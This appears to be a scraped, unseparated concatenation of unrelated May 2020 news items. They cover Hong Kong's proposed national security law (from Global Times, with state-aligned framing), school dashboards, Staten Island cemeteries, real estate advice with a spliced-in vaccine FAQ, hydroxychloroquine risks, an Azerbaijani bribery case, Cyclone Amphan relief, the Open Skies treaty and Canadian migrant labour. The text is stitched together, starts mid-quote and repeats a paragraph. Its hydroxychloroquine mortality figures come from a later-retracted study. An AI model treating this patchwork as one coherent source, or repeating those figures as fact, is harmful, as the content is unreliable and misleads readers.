"It is absolutely necessary for the NPC to exercise the functions and powers entrusted to it by the Constitution, to establish and improve the legal system and enforcement mechanism of the HKSAR to safeguard national security at the national level, and to uphold and improve the governance system of "One Country, Two Systems," Zhang said.

The Democratic Alliance for the Betterment and Progress of Hong Kong - the largest pro-establishment group in Hong Kong - welcomes and fully supports the proposal. 23 years after Hong Kong returned to the motherland, it has yet to meet its constitutional responsibilities as loopholes existing in the city's legislation due to the lack of Article 23, the group said in a statement sent to the Global Times.

The Article 23 of the Basic Law, says the city "shall enact laws on its own to prohibit any act of treason, secession, sedition, subversion against the central government, or theft of state secrets", and prohibits various forms of foreign political interference.

In the face of mounting external pressures, the Hong Kong Special Administrative Region government's ability to govern has been continuously weakened, and confidence has been lost in the SAR government to push forward Article 23 of the Basic Law in the short term, Lau Siu-kai, vice president of the Chinese Association of Hong Kong and Macao Studies, told the Global Times on Thursday.

Lau, as one of the senior advisors to the central government on Hong Kong affairs, said the move shows that the central government will protect the territory from falling into the hands of the hostile forces at all cost.

The decision to propose a national security law for Hong Kong has been adopted by the supreme organ of power with legal effect after discussions at the NPC, which will allow the NPC Standing Committee to conduct legislative work. The NPC Standing Committee meeting is usually held every two months, with each session lasting about a week, Li Xiaobing, an expert on Hong Kong, Macao and Taiwan at Nankai University in Tianjin, told the Global Times on Thursday.

"If there are special requirements, the committee might convene temporary meetings, accelerating the legal process of the national law for Hong Kong, which is expected to be passed within half a year, or even sooner," he said.

To propose such law for Hong Kong aims to not only tackle the chaos in Hong Kong, but also respond to the some security threats emerged in the SAR to the country, Lau said, noting that while the riots continue in Hong Kong and the US increases its efforts to contain the Chinese mainland, Washington's intention of using Hong Kong as a pawn to counterbalance the China has become increasingly palpable.

The delayed passage of Article 23 of the Hong Kong Basic Law is widely believed to become a major factor that has led to relentless radical protests in the city since last year, which has engulfed the once-prosperous Asian financial hub and business crossroads into long-term recession.

Support of HK people

A coalition of the alliance for Article 23, Politihk Social Strategic and Citizens Alliance of HK, on Thursday presented a letter to Carrie Lam, chief executive of the HKSAR government, urging the complete enactment of Article 23 of the Basic Law within the term of the incumbent LegCo, according to a copy of the letter the coalition sent to the Global Times.

"More than 2 million citizens have signed a petition in support of the Article 23 throughout the 18 districts in the city, showing that there is a fundamental call for the passage of the legislation," the letter read.

Witman Hung Wai-man, principal liaison officer for Hong Kong at the Shenzhen Qianhai Authority and a Hong Kong deputy to the NPC, told the Global Times on Thursday that Article 23 legislation has almost been stigmatized since 2003 when a mass protest was staged to oppose the passing of it. He noted the legislation will meet opposition whenever it is promoted.

"There is never a right time. Article 23 is the constitutional duty of the HKSAR and we need to fulfill that duty instead of waiting for the right time. We need to create the right time and right environment, including education, publicity, lobbying and crafting a good law," Hung said.

More than 10 deputies and members to the NPC and the National Committee of the Chinese People's Political Consultative Conference (CPPCC) from the HKSAR interviewed by the Global Times on Thursday expressed their willingness to push for the legislation.

"It's everyone's responsibility to safeguard national security. So, everyone should stand up and push for it. We can't leave a vacuum which has been exploited by various forces to create chaos in Hong Kong. This is absolutely intolerable," Ma Fung-kwok, head of Hong Kong's delegation to the two sessions, told the Global Times on Thursday.

If there's no guarantee of national security, there's no business and social development, Ma said, noting that no matter what would be the major obstacles in establishing the law, policymakers have to adhere to the fundamental bottom lines, and the process can't be affected by external factors like intervention from some foreign countries.

'Absolutely legitimate'

The central government has full control over HKSAR, which is part of China, and the central government has the right to promote and improve the national security legal system of the region at the national level, Gu Min-kang, director of the Chinese Association Hong Kong and Macao Studies and former associate dean of the School of Law of City University of Hong Kong, told the Global Times.

Article 18 of the Basic Law states that only national laws listed in Annex III of the Basic Law can be implemented in Hong Kong. Therefore, in order to comply with the "one country, two systems," the legislature of establishing and improving the legal system and enforcement mechanisms for Hong Kong and the National Security Law will not be completely consistent, and the coverage will also be adjusted, the expert said.

To establish and improve the legal system to safeguard national security, it is also necessary to solve the supporting mechanisms of Hong Kong's judicial system, such as the establishment of courts specializing in national security crimes, or learn from Macao to allow only Chinese judges and prosecutors to handle cases involving national security, or set up a special committee to safeguard national security.

Given the legislation would be a national law, it can be written into the regulations that establish a central-level national security mechanism, Li noted. In the future, if Hong Kong enacts Article 23 of the Basic Law on its own, it will hopefully form a "double-level" system to safeguard national security in Hong Kong.

Some local reports in Hong Kong have been speculating that anti-government forces are now plotting new protests and riots throughout the city, inciting violence as a response to the draft decision, which will inevitably incur fierce reactions and protests in the city.

However, the central government's determination would also change the psychological expectations of pan-democratic groups, which might reverse the situation in Hong Kong, Lau said, noting that some people always had this delusion that the central government would not take aggressive and decisive measures as it is afraid of a public backlash in Hong Kong or US sanctions.

"But they have to reevaluate the price they are willing to pay to achieve their goals," he said.

After the new national security law is passed in Hong Kong, the HKSAR government needs to translate the requirements of the law into specific policies of the government, Tang King Shing, former commissioner of the Hong Kong Police Force (HKPF), told the Global Times on Thursday.

"For example, to determine whether the law is to be enforced by the Hong Kong Police Force and by which department of the force, while also to give out specific opinions to require the Department of Justice to give law enforcement authorities the power to arrest and search, and court evidence," he said.

However, in the face of a possible resurgence in violent activities, Tang noted that in the short term, some residents who may sympathize with the rioters may be dissatisfied with this new law, so street violence may follow.

However, we believe the HKPF will be able to handle it. In the long run, this legislation will help the HKPF and other law enforcement agencies to effectively safeguard Hong Kong's peace and national security, he noted.

"The city won't become the Achilles' heel of the country," Tang said.

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The state Public Education Department has rolled out the online site with school profiles or dashboards that showcase school-specific information for public viewing.

PED Deputy Secretary Tim Hand said the school pages, which are housed on the portal New Mexico Vistas, include data outlined in the states education plan, which shifted New Mexico from A-F school grades to this new model.

Individual schools academic proficiency rates, the percentage of students who regularly attended school and per-student expenditures are on the site.

Hand said there is a profile for every K-12 public school in the state, reflecting figures from the 2018-2019 school year.

The platform, found at newmexicoschools.com, has data on both school and district levels.

While the data on the platform is finalized, Hand added that the department is looking for families feedback, asking if the website is user-friendly and what other details families want to know about their school.

On Thursday, the PED also announced that its seeking input on distance learning.

When schools shut down due to COVID-19, educators had to implement Continuous Learning Plans to keep students learning outside of the classroom.

Families are asked to fill out a survey about that experience here.

The results will help inform a newly formed group called the New Mexico School Reentry Task Force which is looking at how schools could reopen for the 2020-21 school year.

The public health situation is still changing too quickly for us to develop a single plan for return to school, said Secretary Ryan Stewart in a statement. Well be looking to our School Reentry Task Force to contribute their perspective and help shape a number of contingency plans for a safe return to school.
STATEN ISLAND, N.Y. -- Hey, Staten Island! How are you?

Its been a while since weve answered the #fyiSI questions you all submitted  dont worry, were going to get to those.

But for now were going to switch gears with #fyiSI and ask you, our readers, to submit your COVID-19 questions.

People have consumed A LOT of information in the last month. And likely missed a lot of information, too. How could you not? Theres so much to consume.

For now, were going to answer COVID-19-related questions that our readers have submitted.

So the big question is  will cemeteries open for Memorial Day?

SUCCESSFUL MOTHERS DAY OPENING

Cemeteries across the borough opened to visitors on Mothers Day, following an Advance report and the urging of Assemblywoman Nicole Malliotakis.

Malliotakis said she spoke with each cemetery again to ensure theyd be open for Memorial Day.

Following our success on Mothers Day, I reached out to all our local cemeteries to ensure they will open for Memorial Day for visiting and veterans that traditionally place flags, Malliotakis said.

All will be open Sunday and Monday to give people an opportunity to visit, grieve, and honor servicemembers we lost. Some have permanently reopened and I hope the others will be able to soon once they catch up with burials, she said.

CEMETERIES THAT ARE CAUGHT UP ON BURIALS ARE OEPN TO THE PUBLIC

Due to the coronavirus, cemeteries across the city, state, and nation, have been backed up with burials.

The same has been true on Staten Island, however, some are more caught up than others.

The Advance/SILive.com was told that the cemeteries that are largely caught up on burials are open daily to the public -- some with modified hours, some with normal hours, but all with social distancing rules in places -- while the others that are still behind are planing on opening for the holiday before closing again to the public.

ARCHDIOCESE CEMETERIES

Overseen by the Archdiocese of New York, Resurrection Cemetery, located at 361 Sharrott Rd., will open Sunday, May 24 and Monday, May 25 for Memorial Day.

It will be open between 9 a.m. and 3 p.m., according to the Archdiocese.

Visitors are asked to limit their visits to 15 minutes and no more than 10 people will be able to gather at a gravesite at one time.

All visitors must wear a mask and maintain social distance.

The number of cars permitted on cemetery grounds will also be restricted, it said.

The Archdiocese is asking that visitors only place fresh flowers, potted plants, palms or artificial flowers at graves  no planting, balloons, food, or memorabilia will be permitted. For mausoleums, only artificial flowers will be permitted.

Resurrection will then re-close to all visitors at 3 p.m.

CEMETERIES THAT HAVE REOPENED

Baron Hirsh Cemetery , 1126 Richmond Ave.  Open from dawn to dusk. Small visitation is allowed and social distancing is encouraged.

Silver Mount Cemetery, 918 Victory Blvd.  Open every day from 8 a.m. to 5 p.m.

Frederick Douglass Memorial Park, 3201 Amboy Rd.  Open every day from 9 a.m. to 3 p.m.

Fairview Cemetery, 1852 Victory Blvd.  Visitation is permitted every day as long as there is no burial taking place which would cause the cemetery to close. Otherwise, the cemetery is open every day.

United Hebrew Cemetery, 122 Arthur Kill Rd.  Visitation is allowed every day from 7 a.m. to 6 p.m. except Saturdays when it is closed.

Woodland Cemetery, 24-32 Highland Ave.  Visitation is permitted every day between 9 a.m. and 4 p.m.

Mount Richmond Cemetery, 420 Clarke Ave. - Visitors will be permitted Sunday and Monday between 9 a.m. and 3:45 p.m. On Fridays visitors are allowed between 9 a.m. and 1 p.m.; there is no visitation on Saturdays.

CEMETERIES OPEN FOR ONLY FOR MEMORIAL DAY

Oceanview Cemetery, 3315 Amboy Rd.  Visitors will be permitted on Sunday, May 24 and Monday, May 25 from 9 a.m. to 3 p.m. Restrooms will be closed during this time.

St. Marys, 1101 Bay St.  Visitors will be permitted on Sunday, May 24 and Monday, May 25 from 8 a.m. to 6 p.m.

Moravian Cemetery, 2205 Richmond Rd.  Visitors will be permitted on Sunday, May 24 and Monday, May 25 from 8 a.m. to 2:30 p.m. Visitors can enter from the Todt Hill Road gate; the Richmond Road gate will be closed. Cars will be let in 30 at a time and will be limited to 15 minute visits. All persons visiting must wear a mask and stay socially distant per CDC guidelines. Security will be present. 2205 Richmond Rd.  Visitors will be permitted on Sunday, May 24 and Monday, May 25 from 8 a.m. to 2:30 p.m. Visitors can enter from the Todt Hill Road gate; the Richmond Road gate will be closed. Cars will be let in 30 at a time and will be limited to 15 minute visits. All persons visiting must wear a mask and stay socially distant per CDC guidelines. Security will be present.

#fyiSI -- heres the point

When #fyiSI launched in October 2018, the Advance received dozens of questions from readers about all things Staten Island.

Now, were ready to start providing answers and are asking you again to ask us anything, Staten Island -- and we mean anything.

Through #fyiSI, Im going to answer all of your burning questions  with the occasional help of my coworkers  about the borough with 479,458 residents that we all call home.

Some of the questions weve received so far include:

How can we ask for a stop sign to be added?

What happened to my favorite restaurant?

Is that a mobile speed camera?

Why is the Department of Transportation doing construction on my block? Now, Im ready to tackle them all, and Im looking for more questions. Whatever it is, Ill answer it.

You might be wondering how #fyiSI differs from the average story you already read in the Staten Island Advance or on SILive.com.

Were not stepping away from the traditional news article, but instead adding social media elements like Facebook live, Instagram stories, Twitter polls, and other multimedia to help us reach you.

Well also do a lot of reporting on site.

Questions should include your name, neighborhood of residence and contact information, and can be emailed to fyi@siadvance.com or kdalton@siadvance.com.

FOLLOW KRISTIN F. DALTON ON TWITTER.
Representative Image

For those scouting for commercial real estate deals in COVID-19 times, it is best to purchase completed leased assets where leases have a longer lock-in and where tenants have spent on fit-outs, said a commercial real estate expert.

"This makes them sticky and tenants tend to vacate these leases last," advises Kunal Moktan, the chief executive officer and co-founder of PropShare Capital.

If invested in an institutional grade property with a blue-chip tenant, the credit risk of rents not being paid or the tenant vacating can be significantly reduced. An experienced real estate investor will increase "stickiness" by making the tenant take care of the fit-outs or tenant improvement (TIs) and by signing a "lock-in", a term used to bind tenants to a building for a longer term, he explains.

In the present situation, an investor can hope to receive a good discount too depending on how stressed the seller is in terms of cash flows. "If youre lucky, you may get a property at a discount of 20 percent to 35 percent right now," he says.

Purchase only completed lease assets so that leasing and development risks are fully mitigated. The last thing you want to be doing in these situations is to look for a new tenant or be dealing with a rogue developer, Mokran cautions.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

He also shared some quick tips that will secure you rental income as a landlord:

- Try signing leases with yearly escalation of 5 percent instead of 15 percent every three years so that tenants find the increase more gradual.

- Use little or no leverage in buying assets that do not have long lock-ins so that you match the risks associated with rental cash flows with interest and principal payments.

- Always look for Grade A multinational tenants for whom rental costs are a small proportion of total revenues so that they do not look at your assets as cost centres.

You should avoid buying any leveraged assets. You should not buy any properties which have a loan against them and neither should you take a loan to buy properties. Especially if the rents are not secure, he says.

Should one take a loan?

If an investor has zeroed in on a property in a complex where the tenant has signed a three-year lock in, then he could consider taking a loan for it.

"This gives you an assurance that the tenant cannot break it for three years. And if they do, they get to have to pay you the entire rent," the PropShare chief says.

Having said that, take a loan only up to 40-50 percent of the property value, but not more than 70-80 percent.

This is important because if there is no lock in, the tenant can leave at any point of time. You should avoid any kind of leverage because in case a tenant vacates, you have to pay the equated monthly installments (EMI) and the interest that could definitely have an impact on the cap rates, advises Moktan.

Investors should look to purchase assets at below replacement cost, which is the cost of buying land and building the property from the ground-up. This will mean that rents cannot go down much lower as new buildings will require huge amounts to be developed.

Do not buy land

And a parting warning, in a dull market, Moktan adds one final point: No matter how lucrative the deal, avoid buying land.

"One should never buy land  there are several restrictions one has to comply with and be wary of," he says.
Nearly 15,000 of the 96,000 patients in the analysis were treated with hydroxychloroquine or chloroquine alone or in combination with a type of antibiotics known as a macrolide, such as azithromycin, within 48 hours of their diagnosis. The difference between patients who received the anti-malarials and those who did not was striking. For those given hydroxychloroquine, there was a 34 per cent increase in risk of mortality and a 137 per cent increased risk of serious heart arrhythmias. For those receiving hydroxychloroquine and an antibiotic  the cocktail endorsed by Trump  there was a 45 per cent increased risk of death and a 411 per cent increased risk of serious heart arrhythmias. "A pill every day": US President Donald Trump said he was taking hydroxychloroquine. Credit:AP Those given chloroquine had a 37 per cent increased risk of death and a 256 per cent increased risk of serious heart arrhythmias. For those taking chloroquine and an antibiotic, there was a 37 per cent increased risk of death and a 301 per cent increased risk of serious heart arrhythmias.

For those given hydroxychloroquine, there was a 34 per cent increase in risk of mortality and a 137 per cent increased risk of serious heart arrhythmias. Cardiologist Steven Nissen of the Cleveland Clinic said the new data, combined with data from smaller previous studies, suggests that the drug "is maybe harmful and that no one should be taking it outside of a clinical trial". Jesse Goodman, a former FDA chief scientist who is now a Georgetown University professor, called the report "very concerning". He noted, however, that it is an observational study, rather than a randomised controlled trial, so it shows a correlation between the drugs and certain outcomes, rather than a clear cause and effect. Peter Lurie, a former top FDA official who now heads the Centre for Science in the Public Interest, called the report "another nail in the coffin for hydroxychloroquine  this time from the largest study ever". Loading

He said it was time to revoke the emergency use authorisation issued by the FDA, which approved the drug for seriously ill patients who were hospitalised or for whom a clinical trial was not available. The new study's findings cannot necessarily be extrapolated to people with mild illness at home or those, like Trump, who are taking the anti-malarials as a prophylactic. The President stunned many doctors earlier this week when he said he was taking a pill "every day"  despite FDA warnings that the use of the drug should be limited to those in a hospital setting or in clinical trials. He has since said he is close to finishing his course of treatment and would stop taking the medication in "a day or two". A large study of healthcare workers that examines the use of hydroxychloroquine as a preventive measure against COVID-19 is in the works, but no results have been released. Loading There have been at least 13 studies in recent months on hydroxychloroquine or chloroquine as a treatment for COVID-19 patients. They have included randomised controlled studies and observational analyses encompassing patients on the continuum from mild illness to those near death. Evidence of any benefit, such as viral clearance or improved symptoms, has been almost non-existent. But many found an increased risk in adverse cardiac reactions  especially when combined with the antibiotic azithromycin.

Earlier this month, some proponents of hydroxychloroquine seized on a study out of New York University's Langone Health centre that threw zinc into the mix with hydroxychloroquine and azithromycin, and showed the treated group had a higher rate of survival. But researchers emphasised that it only showed that the combination had some promise. They said the results also could have been due to other factors, such as the zinc being added to patients' regimens later in the pandemic when hospital treatments and procedures had been refined. Last week, the US National Institutes of Health announced a clinical trial of 2000 adults to determine if hydroxychloroquine and azithromycin could be used to treat coronavirus patients. Topol, of the Scripps Research Translational Institute, suggested that the researchers should reconsider the ethics of those trials, given the increasing evidence of potential harm. "It's very hard to ignore that signal, and it's worrisome to continue giving it," he said. Loading Geoffrey Barnes, a cardiovascular specialist at the University of Michigan, said the study's approach and its findings were "striking" in making the case that "the risk with these drugs is real". However, he said that due to the enthusiasm some Americans have for the drug and the Lancet study's findings, randomised trials are even more important.
By Azernews





By Ayya Lmahamad

Six high-ranking officers of the Coastal Guard under the State Border Service have been detained on charges of bribery and abuse of power, press-service of the State Security Service reported on May 21.

As a result of the joint operational and investigative measures, it has been established that a group of high-ranking officers of the Coast Guard, abusing their power, received money as a bribe from numerous Azerbaijani citizens for creating conditions for fishing in the Caspian Sea, the report reads.

The group was led by Lieutenant General Afgan Nagiyev, who served as the deputy head of the State Border Service and the head of the Coast Guard.

The investigation revealed that a large amount of bribes that were collected each month, were handed over to Nagiyev, who returned a percentage of this money to other team members for distribution, statement said.

The investigation team has seized various records of the amount of money received by them as well as the money kept in separate currencies and other documents and material evidence relevant to the case.

By the decision of the Baku Court, all the members of the group were arrested under the Criminal Codes Articles 308.1 (abuse of power) and 311.3.1 (taking bribes by a group of persons in collusion).

Three civilians, who were assisting the group members in taking bribes, have also been arrested.

In addition, two employees of the Ministry of Emergency Situations were also arrested for taking bribes from fishermen and were charged under the relevant articles of the Criminal Code.

"At present, the investigation continues to identify the scope of suspects in this crime and bring them to justice," the report says.

Deputy head of the State Border Service of Azerbaijan, Lieutenant General Afgan Nagiyev was detained as a suspect in the case against some State Border Service officials on May 14.

Recently, the State Security Service launched special operation against a number of officials in the country. Thus, head of the Imishli district Vilyam Hajiyev and head of the Bilasuvar district Mahir Guliyev were arrested for four months on charges of embezzlement, abuse of power, and bribery. As well as, Deputy Minister of Culture Rafiq Bayramov and a number of other ministry officials were detained during the State Security Service's operation on May 8.
Chief Minister Mamata Banerjee on Friday said West Bengal has suffered losses of more than Rs 1 lakh crore due to super cyclonic storm 'Amphan', which has killed 80 people and left thousands homeless in the state.

After conducting an aerial survey of some of the affected areas and attending a review meeting along with Prime Minister Narendra Modi in Basirhat in North 24 Parganas district, she said there is a need to work together at this hour of crisis.

"Most of the areas we surveyed were totally ravaged. I have briefed the prime minister in detail about the post-cyclone situation in the state," she told reporters at the airport after seeing off Modi.

The prime minister announced an advance interim assistance of Rs 1,000 crore for the state after the meeting.

"The prime minister has announced Rs 1,000 crore emergency fund... What's the package I don't know. I have told him that we will give him the details. It will take some time to assess the full overall situation but damage is of more than Rs 1 lakh crore," she said.

Banerjee said she "reminded the prime minister about Rs 53,000 crore the central government owes to the state for various social security schemes."



"If they (Centre) give some money to us, we can work," she said.

The chief minister said she showed Modi some photographs capturing the havoc caused by 'Amphan' in Kolkata.

Cyclone Amphan is the strongest to hit the region in nearly two decades. It has battered several parts of the state, washing away bridges and swamping low-lying areas.

Seven districts badly hit are South 24 Paraganas, North 24 Paraganas, East Midnapore, West Midnapore, Howrah, Hooghly and Kolkata.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
WASHINGTON: The United States announced its intention on Thursday to withdraw from the 35-nation Open Skies treaty allowing unarmed surveillance flights over member countries, the Trump administration`s latest move to pull the United States from a major global treaty.

The administration said Russia has repeatedly violated the pact`s terms. Senior officials said the pullout will formally take place in six months, based on the treaty`s withdrawal terms.

NATO allies - and other countries like Ukraine - have been pressing Washington not to withdraw from the treaty, and Trump`s decision could aggravate tensions within the alliance.

The administration also pulled the United States out of the Intermediate-range Nuclear Forces Treaty with Russia last year.

The officials, speaking on condition of anonymity to a small group of reporters, said the decision followed a six-month review that found multiple instances of Russian refusal to comply with the treaty.

"During the course of this review it has become abundantly clear that it is no longer in America`s interests to remain a party to the Open Skies treaty," said one of the officials, saying Russia violates and implements the treaty in ways that can contribute to military threats against the United States and allies.

One administration official said extensive discussions were held with US allies leading up to the decision but ultimately Washington decided "it is no longer in our interest" to participate in it.

At the same time, the official said US officials had begun talks in recent days with Russian officials about a new round of nuclear arms negotiations to "begin crafting the next generation of nuclear arms control measures."

"The United States is committed to arms control. We are committed to European security. And we are committed to a future that puts meaningful constraints on nuclear weapons," the official said.

"It will be incumbent on Russia to be comply with future arrangements. We go into this with eyes wide open," the official said.

The Open Skies treaty, initially proposed by US President Dwight Eisenhower in 1955, was signed in 1992 and took effect in 2002. The idea is to let member nations make surveillance flights over each other`s countries to build trust.

The officials cited a years-long effort by Russia to violate the terms, such as by restricting US overflights of Russia neighbor Georgia and its military enclave in Kaliningrad.

In addition, they said Russia has been using its own overflights of American and European territory to identify critical US infrastructure for potential attack in a time of war.

The 35 state parties to the Open Skies treaty are: Belarus, Belgium, Bosnia and Herzegovina, Bulgaria, Canada, Croatia, the Czech Republic, Denmark (including Greenland), Estonia, Finland, France, Georgia, Germany, Greece, Hungary, Iceland, Italy, Kazakhstan, Latvia, Lithuania, Luxembourg, the Netherlands, Norway, Poland, Portugal, Romania, the Russian Federation, Slovakia, Slovenia, Spain, Sweden, Turkey, Ukraine, the United Kingdom, and the United States.

Trump`s decision to abandon the Open Skies Treaty could indicate that he will allow the New START treaty to lapse. He has until February to extend it for up to five years.It is the last remaining restraint on deployments of US and Russian strategic nuclear warheads and delivery systems to no more than 1,550 each. This could trigger a new arms race that China would likely join.
Amphan is the fiercest cyclone to hit West Bengal in 100 years.

Kolkata/Bhubaneswar: Seventy-eight people died and thousands were injured by the fury of the six-hour-long cyclone Amphan that ripped through several parts of West Bengal and Odisha on Wednesday, leaving a heart-rending trail of death and destruction.

Amphan, the fiercest cyclone to hit West Bengal in 100 years, packed in winds of up to 190 kmph, and razed mud houses to the ground, destroyed crops, uprooted trees and electric poles. Two districts of the state  North and South 24 Pargana  were completely devastated with thousands of people left homeless, bridges washed away and low-lying areas in waist-deep water. Many of Kolkatas roads were flooded and its 1.4 crore people were without power as torrential rain and high-speed winds roared through the state capital.

In many of Odishas costal districts, the cyclone damaged power and telecom infrastructure. Odisha government officials estimated that the cyclone has affected around 45 lakh people in the state.

Many of the affected areas are without power and in several districts mobile and Internet services remain disrupted as the cyclone damaged several communication towers.

At least 72 people were killed in West Bengal and six casualties were reported from Odisha. The cyclone also devastated parts of Bangladesh which reported 20 deaths.

I have never seen such a dangerous disaster in my life. We saw Aila, Phani and Bulbul. But cyclone Amphan was far more devastating than the previous ones. The extent of damage is estimated to be around `1 lakh crore. The weather forecast of its duration of a few hours failed It is worse than Covid-19. I request the PM to visit our state to assess how deadly the disaster was, West Bengal chief minister said.

Restoration work will start soon. A large part of North and South 24 Parganas and Kolkata are facing massive power cut since last evening. Even telephone and mobile connections are down I will visit the affected areas very soon, Banerjee added.

Banerjees appeal to the Prime Minister came after Modi tweeted, Have been seeing visuals from West Bengal on the devastation caused by cyclone Amphan. In this challenging hour, the entire nation stands in solidarity with West Bengal. Praying for the well-being of the people of the state. Efforts are on to ensure normalcy. NDRF teams are working in the cyclone affected parts. Top officials are closely monitoring the situation and also working in close coordination with the West Bengal government. No stone will be left unturned in helping the affected.

Besides North and South 24 Parganas and Kolkata, West Bengals districts of East Midnapore and Howrah were the worst hit as portions of several dilapidated buildings came crashing down in several places.

Kolkata recorded winds with speed up to 125 kmph that overturned hundreds of cars, uprooted trees and electricity poles that many fell, blocking key arterial roads and intersections, some even ripping through parked buses.

Kolkata residents recalled living through hell for six hours as the winds howled incessantly. Windows buckled from the pressure of the storm, cars floated on water logged roads, bumping against each other. Parts of air conditioners flew around like missiles.

Setting up a `1,000-crore fund for relief work, Banerjee noted that most of the deaths in West Bengal were due to tree-uprooting and wall collapse during the cyclone. People were told to be inside home during the cyclone as a precautionary measure. But many of them did not listen to the warning and remained outside. This resulted in high casualties, she added.

The chief minister announced `2.5 lakh compensation for each victims kin.

Among the 72 victims in the state, 15 are from Kolkata, 17 from North 24 Parganas, 10 from Basirhat and four from the South 24 Parganas-Sunderban region.

The extremely severe cyclone Amplan, which made landfall in Digha near Sundarban on West Bengal-Odisha border and Hatiya in Bangladesh on Wednesday afternoon, packing winds of up to 190 kmph, weakened Thursday as it moved into Bhutan.
Cyclone Amphan which made landfall on Wednesday has caused mass-scale destruction in West Bengal and coastal areas of Odisha.

Soon after the cyclone hit, electricity and mobile phone services were interrupted, with many photos surfacing on social media showing the sheer scale of destruction which was caused by the natural calamity.

The fiercest cyclone to hit Bengal in 100 years destroyed mud houses and crops, and uprooted trees and electric poles.

West Bengal Chief Minister Mamata Banerjee, who has been monitoring the situation at state secretariat Nabanna since Tuesday night, said the impact of Amphan was "worse than coronavirus".

Kolkata Mayor Firhad Hakim said more than 14 lakh people in the city are living without electricity since Wednesday night. "The entire city has been devastated. Around 4,000 trees have been uprooted in Kolkata. We are short of staff due to the Lockdown. It will take some time to restore normalcy," he said.

Packing heavy rain and winds with speeds of up to 190 kmph, the cyclone barrelled through coastal districts of North and South 24 Parganas of Bengal and Odisha on Wednesday unleashing copious rain and windstorm.

According to initial estimates by the West Bengal government, Amphan has caused a loss of at least Rs 1 lakh crore. The state, already reeling from revenue loss due to Covid-19, has asked the Centre for financial help.

Prime Minister Narendra Modi today announced an interim financial assistance of Rs 1,000 crore for West Bengal to aid the relief and rehabilitation efforts.

Meanwhile, there has been no specific report on the amount of destruction Bengal has faced, while photos from the state paint a devastating picture.

Here's how you can help:

1. Support Cyclone Amphan affected communities in India - Facebook fundraiser.

A non-profit organization, AID, are currently working on the ground are working with the local administration to help people shelter in schools and flood centers. They are also are currently working on mitigating the immediate food and water shortage in the area.

You can contribute here.

2. Quarantined Student Youth Network.

You can contribute here.

3. International Fundraiser for West Bengal State Emergency Relief Fund

In case you are looking for an easy way to contribute to the West Bengal State Emergency Relief Fund from outside India , this is one is managed by Yale South Asian Graduate Students' Association.

You can contribute here.

4. The West Bengal State Emergency Relief Fund

This is the state government's official relief fund.

Contribution to this fund entitles you to claim 100% deduction under section 80G of the Income Tax Act.

You can contribute here.

5. The JU Commune.

Jadavpur Commune, run and supported by JU students, research scholars and alumni, has been operational since before the national lockdown started, manufacturing sanitiser and disinfectants, and distributing them in and around campus to guards, civic volunteers, delivery personnel, etc. Their community kitchen, running since the beginning of the national lockdown, serves hot lunch to over 600 people daily in the Jadavpur, Dhakuria, Golpark and Charu Market areas. They also distribute rations to migrant labourers and the homeless.

You can contribute here.

6. Ebong Alap

EA has been working in the Sundarbans for several years now, particularly with women and the student community in Bali. Now they are organizing relief for these areas. For helping women in Piyali of Canning block and Bali of Gosaba block mainly to rebuild their homes and also to support education of students who may otherwise drop out of schools. Tansfer is only possible from Indian bank accounts, here.

7. Swasthya Shiksha Nirman

Swasthya Shiksha Nirman was engaged in providing relief to the unorganised workers of Halisahar-Naihati, Kankinara, Duttabad and Bagmari, when AMPHAN hit West Bengal.

Swasthya Shiksha Nirman's relief activities will continue, this time also for the cyclone-torn people. Donate generously to Swasthya Shiksha Nirman Relief Fund.

You can contribute at these bank details:

Punya Brata Gun

Savings Account No.1399010066362

United Bank of India,

Purbachal Branch

IFS Code: UTBI0PBLA44.

(We will keep updating this list.)
The COVID-19 pandemic has shone a light on a previously hidden population of workers in Canada: temporary migrants.

Hey there, time traveller!

This article was published 22/5/2020 (608 days ago), so information in it may no longer be current.

Opinion

The COVID-19 pandemic has shone a light on a previously hidden population of workers in Canada: temporary migrants.

Temporary migrants come to Canada to work in industries such as agriculture, food services, hospitality and care-giving, in jobs that are often characterized by low wages and difficult working conditions. They are jobs that Canadians are not willing to do.

These workers are often largely invisible to many Canadians, located either in geographically isolated areas, such as farms, or indistinguishable at a glance from local working populations.

Before the current wave of news stories about migrant labour during the COVID-19 pandemic, many Canadians may not have known about this workforce at all. The pandemic has not only made them more visible, but has also highlighted the essential nature of the work these migrants do.

Weve relied on migrant workers for decades

Canada has enabled the temporary migration of low-wage workers since the 1960s. The Seasonal Agricultural Workers Program (SAWP), a cyclical temporary migrant labour program operated on the basis of bilateral agreements between Canada and countries such as Mexico, has existed for more than 50 years.

The Temporary Foreign Worker Program allows migrants temporary residence in Canada to fill jobs in industries with specific labour shortages  including food services, hospitality, agriculture and caregiving. Its been in effect since the 1970s.

These programs bring tens of thousands of migrant workers to Canada each year. They spend months, sometimes years, away from their families and their homes. For most, their time working in Canada cannot be used to apply for permanent immigration.

Some workers have been coming to Canada under the SAWP for decades, for example. Every year, they spend up to eight months in Canada, away from their families, harvesting crops for Canadian dinner tables. Every year, we hear about abuses in this program.

Yes, these workers earn an income and are able to send money home to their families. Yes, their work in Canada is considered by some to be an improvement over available jobs in Mexico. But it remains work that is undervalued by Canadian standards.

Canadian farmers need migrant workers

In the current pandemic, the essential nature of the work done by temporary migrants has been brought into sharp focus. Concerns about how current border closures and travel restrictions would impact the migrant workforce in the agriculture industry were raised by farmers across the country.

They feared the collapse of their crop, their business and their own livelihood if migrant workers were not permitted to come to Canada this season. Currently, temporary workers are being allowed to continue travelling to Canada but there have been delays.

